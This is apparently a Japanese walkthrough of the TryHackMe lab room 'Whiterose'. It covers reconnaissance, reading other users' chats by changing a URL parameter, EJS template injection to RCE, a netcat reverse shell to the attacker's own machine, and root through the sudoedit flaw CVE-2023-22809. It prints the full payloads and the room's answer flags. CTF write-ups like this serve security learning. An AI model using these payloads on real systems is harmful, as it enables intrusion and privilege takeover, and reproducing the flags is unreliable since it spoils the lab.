概要
TryHackMe「Whiterose」のWalkthroughです。
Task1
Q1.What's Tyrell Wellick's phone number?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sCV -A -p- 10.49.162.59 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
| 256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_ 256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 |
| 80 | http | nginx/1.14.0 |
80番ポートにアクセスすると、cyprusbank.thmというドメインが分かりました。
/etc/hostsにドメインを追記し、名前解決するとWebサイトが表示されました。
cyprusbank.thmに対しディレクトリスキャンを実行しましたが、何も発見できませんでした。
$ dirsearch -u http://cyprusbank.thm/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Whiterose/reports/http_cyprusbank.thm/__26-04-24_08-54-02.txt
Target: http://cyprusbank.thm/
[08:54:02] Starting:
Task Completed
サブドメインを列挙すると、www,adminの2つを発見しました。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.cyprusbank.thm" -u http://cyprusbank.thm -fs 57
www [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 134ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 138ms]
www.cyprusbank.thmは同様のメンテナンスページです。
admin.cyprusbank.thmにアクセスすると、ログインフォームが表示されました。
このルームのテキストからOlivia Cortez:olivi8という情報を得られました。
ログインフォームにこの名前とパスワードを入力すると、管理パネルへのログインに成功しました。
しかし、各アカウントの電話番号がマスクされており、確認できません。
メッセージページに遷移するとチャットの履歴を見る事が出来ます。
パスが/messages/?c=5となっており、ページをパラメータの数値で設定しています。
/messages/?c=1とする事で、他チャットも閲覧出来ました。
パラーメータ値を0にすると、チャットの内容からGayle Bevのパスワードを確認できました。
Username: Gayle Bev,Password: p~]P@5!6;rs558:qで新たにログインが成功しました。
データの閲覧権限が分かれており、このアカウントでは電話番号を確認できました。
A.842-029-5701
Q2.What is the user.txt flag?
Gayle Bevアカウントで、/settingsページに遷移すると認証フォームを発見しました。
Saveボタンを押下すると、パスワードの入力値が画面に出力されると分かりました。
XSSやSSTIが刺さる可能性があります。
リクエストの内容を変更し、nameパラーメーターのみ送信します。
するとエラーページが表示され、EJSテンプレートエンジンを使用していると分かりました。
EJSでのSSTIを調べると、RCEに繋げられる脆弱性があると分かりました。
記事を参考に、pingを実行するペイロードを組みました。
name=name&password=pass&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('ping -c 1 192.168.183.253');s
ペイロードを送信すると脆弱性を悪用できました。
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:21:59.650144 IP cyprusbank.thm > 192.168.183.253: ICMP echo request, id 8042, seq 1, length 64
10:21:59.650161 IP 192.168.183.253 > cyprusbank.thm: ICMP echo reply, id 8042, seq 1, length 64
実行コマンドをリバースシェルのコマンドに変更します。
.execSync('busybox nc 192.168.183.253 1234 -e sh')
webアカウントでシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.49.162.59] 48770
id
uid=1001(web) gid=1001(web) groups=1001(web)
TTYの設定をします。
python3 -c "import pty;pty.spawn('/bin/bash');"
ユーザーフラグを入手できました。
web@cyprusbank:~$ cat user.txt
cat user.txt
THM{4lways_upd4te_uR_d3p3nd3nc!3s}
A.THM{4lways_upd4te_uR_d3p3nd3nc!3s}
Q3.What is the root.txt flag?
自身のSSH公開鍵をサーバーに設置します。
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkcG3J2Ah2iMj8byUhQY2SaTjvXZkh7zj5et6r+m9Q1 kali@kali" > .ssh/authorized_keys
公開鍵認証方式でSSH接続をします。
$ ssh -i ~/.ssh/id_ed25519 web@10.48.134.177
sudo -lを確認します。
web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
sudoeditコマンドを利用できると分かりました。
このコマンドの脆弱性を検索すると、権限昇格の脆弱性であるCVE-2023-22809がヒットしました。
脆弱性の記事通りペイロードを実行します。
$ export EDITOR="vim -- /etc/sudoers"
$ sudo -u root sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
/etc/sudoersを編集できるようになったので、パスワード無しroot権限で全コマンドを実行できるようにします。
web ALL=(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
web ALL=(ALL) NOPASSWD: ALL
sudo -lで再度確認すると、先ほどの設定変更が反映されていると分かります。
web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
(ALL) NOPASSWD: ALL
rootアカウントに昇格出来ました。
web@cyprusbank:~$ sudo su root
root@cyprusbank:/home/web# id
uid=0(root) gid=0(root) groups=0(root)
ルートフラグを入手できました。
root@cyprusbank:/home/web# cat /root/root.txt
THM{4nd_uR_p4ck4g3s}
A.THM{4nd_uR_p4ck4g3s}










